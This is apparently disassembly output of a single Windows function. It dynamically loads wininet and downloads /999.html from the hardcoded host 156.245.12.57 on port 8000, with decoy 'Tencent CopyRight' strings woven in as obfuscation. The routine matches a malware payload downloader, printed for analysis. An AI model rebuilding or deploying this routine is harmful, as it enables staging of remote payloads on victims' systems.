Function at 0x4017a0
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
sub rsp, 0x120
lea rbp, [rsp + 0x80]
mov dword [rbp + 0x9c], 0
jmp 0x40181d
movabs rax, 0x20746e65636e6554
mov qword [rbp - 0x40], rax
movabs rax, 0x6867695279706f43
mov qword [rbp - 0x38], rax
movabs rax, 0x6e65636e65542074
mov qword [rbp - 0x30], rax
movabs rax, 0x695279706f432074
mov qword [rbp - 0x28], rax
movabs rax, 0x636e655420746867
mov qword [rbp - 0x20], rax
movabs rax, 0x79706f4320746e65
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x10], 0x68676952
mov word [rbp - 0xc], 0x74
mov eax, dword [rbp + 0x9c]
lea edx, [rax + 1]
mov dword [rbp + 0x9c], edx
test eax, eax
jne 0x4017bc
lea rax, str.156.245.12.57
mov qword [rbp + 0x80], rax
lea rcx, str.wininet.dll
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
call rax
mov qword [rbp + 0x78], rax
mov dword [rbp + 0x98], 0
jmp 0x4018bf
movabs rax, 0x20746e65636e6554
mov qword [rbp - 0x40], rax
movabs rax, 0x6867695279706f43
mov qword [rbp - 0x38], rax
movabs rax, 0x6e65636e65542074
mov qword [rbp - 0x30], rax
movabs rax, 0x695279706f432074
mov qword [rbp - 0x28], rax
movabs rax, 0x636e655420746867
mov qword [rbp - 0x20], rax
movabs rax, 0x79706f4320746e65
mov qword [rbp - 0x18], rax
mov dword [rbp - 0x10], 0x68676952
mov word [rbp - 0xc], 0x74
mov eax, dword [rbp + 0x98]
lea edx, [rax + 1]
mov dword [rbp + 0x98], edx
test eax, eax
jne 0x40185e
cmp qword [rbp + 0x78], 0
jne 0x4018e3
mov eax, 0
jmp 0x401d18
mov rax, qword [rbp + 0x78]
lea rdx, str.InternetOpenA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x70], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.InternetConnectA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x68], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.HttpOpenRequestA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x60], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.HttpSendRequestA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x58], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.HttpQueryInfoA
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x50], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.InternetReadFile
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x48], rax
mov rax, qword [rbp + 0x78]
lea rdx, str.InternetCloseHandle
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
call rax
mov qword [rbp + 0x40], rax
cmp qword [rbp + 0x70], 0
je 0x4019d1
cmp qword [rbp + 0x68], 0
je 0x4019d1
cmp qword [rbp + 0x60], 0
je 0x4019d1
cmp qword [rbp + 0x58], 0
je 0x4019d1
cmp qword [rbp + 0x50], 0
je 0x4019d1
cmp qword [rbp + 0x48], 0
je 0x4019d1
cmp qword [rbp + 0x40], 0
jne 0x4019eb
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov eax, 0
jmp 0x401d18
mov dword [rbp + 0x94], 0
jmp 0x401a5d
movabs rax, 0x4d4d4f435f4d454d
mov qword [rbp - 0x40], rax
movabs rax, 0x5279706f43205449
mov qword [rbp - 0x38], rax
movabs rax, 0x6e65542074686769
mov qword [rbp - 0x30], rax
movabs rax, 0x706f4320746e6563
mov qword [rbp - 0x28], rax
movabs rax, 0x5420746867695279
mov qword [rbp - 0x20], rax
movabs rax, 0x4320746e65636e65
mov qword [rbp - 0x18], rax
movabs rax, 0x746867695279706f
mov qword [rbp - 0x10], rax
mov byte [rbp - 8], 0
mov eax, dword [rbp + 0x94]
lea edx, [rax + 1]
mov dword [rbp + 0x94], edx
test eax, eax
jne 0x4019f7
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x70]
mov r9d, 0
mov r8d, 0
mov edx, 1
lea rcx, str.Microsoft_hello
call rax
mov qword [rbp + 0x38], rax
mov rdx, qword [rbp + 0x80]
mov rcx, qword [rbp + 0x38]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 3
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x68]
mov r9d, 0
mov r8d, 0x1f40
call rax
mov qword [rbp + 0x30], rax
mov rcx, qword [rbp + 0x30]
mov qword [rsp + 0x38], 0
mov dword [rsp + 0x30], 0x80000000
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x60]
mov r9d, 0
lea r8, str._999.html
lea rdx, [0x004050a9]
call rax
mov qword [rbp + 0x28], rax
mov rcx, qword [rbp + 0x28]
mov dword [rsp + 0x20], 0
mov rax, qword [rbp + 0x58]
mov r9d, 0
mov r8d, 0
mov edx, 0
call rax
mov dword [rbp + 0x24], eax
mov dword [rbp + 0x90], 0
jmp 0x401bba
movabs rax, 0x4d4d4f435f4d454d
mov qword [rbp - 0x40], rax
movabs rax, 0x5279706f43205449
mov qword [rbp - 0x38], rax
movabs rax, 0x6e65542074686769
mov qword [rbp - 0x30], rax
movabs rax, 0x706f4320746e6563
mov qword [rbp - 0x28], rax
movabs rax, 0x5420746867695279
mov qword [rbp - 0x20], rax
movabs rax, 0x4320746e65636e65
mov qword [rbp - 0x18], rax
movabs rax, 0x746867695279706f
mov qword [rbp - 0x10], rax
mov byte [rbp - 8], 0
mov eax, dword [rbp + 0x90]
lea edx, [rax + 1]
mov dword [rbp + 0x90], edx
test eax, eax
jne 0x401b54
mov dword [rbp + 0xc], 0
mov dword [rbp + 8], 4
lea r8, [rbp + 8]
lea rdx, [rbp + 0xc]
mov rcx, qword [rbp + 0x28]
mov qword [rsp + 0x20], 0
mov rax, qword [rbp + 0x50]
mov r9, r8
mov r8, rdx
mov edx, 0x20000005
call rax
mov eax, dword [rbp + 0xc]
mov eax, eax
mov rcx, rax
call sym.malloc
mov qword [rbp + 0x18], rax
mov dword [rbp + 4], 0
mov r10d, dword [rbp + 0xc]
lea r8, [rbp + 4]
mov rdx, qword [rbp + 0x18]
mov rcx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x48]
mov r9, r8
mov r8d, r10d
call rax
mov rdx, qword [rbp + 0x28]
mov rax, qword [rbp + 0x40]
mov rcx, rdx
call rax
mov rdx, qword [rbp + 0x30]
mov rax, qword [rbp + 0x40]
mov rcx, rdx
call rax
mov rdx, qword [rbp + 0x38]
mov rax, qword [rbp + 0x40]
mov rcx, rdx
call rax
mov rax, qword [rbp + 0x78]
mov rcx, rax
mov rax, qword [sym.imp.KERNEL32.dll_FreeLibrary]
call rax
mov dword [rbp + 0x8c], 0
jmp 0x401cde
movabs rax, 0x4d4d4f435f4d454d
mov qword [rbp - 0x40], rax
movabs rax, 0x5279706f43205449
mov qword [rbp - 0x38], rax
movabs rax, 0x6e65542074686769
mov qword [rbp - 0x30], rax
movabs rax, 0x706f4320746e6563
mov qword [rbp - 0x28], rax
movabs rax, 0x5420746867695279
mov qword [rbp - 0x20], rax
movabs rax, 0x4320746e65636e65
mov qword [rbp - 0x18], rax
movabs rax, 0x746867695279706f
mov qword [rbp - 0x10], rax
mov byte [rbp - 8], 0
mov eax, dword [rbp + 0x8c]
lea edx, [rax + 1]
mov dword [rbp + 0x8c], edx
test eax, eax
jne 0x401c78
mov ecx, 0x10
call sym.malloc
mov qword [rbp + 0x10], rax
mov rax, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov qword [rax], rdx
mov edx, dword [rbp + 0xc]
mov rax, qword [rbp + 0x10]
mov dword [rax + 8], edx
mov rax, qword [rbp + 0x10]
add rsp, 0x120
pop rbp
ret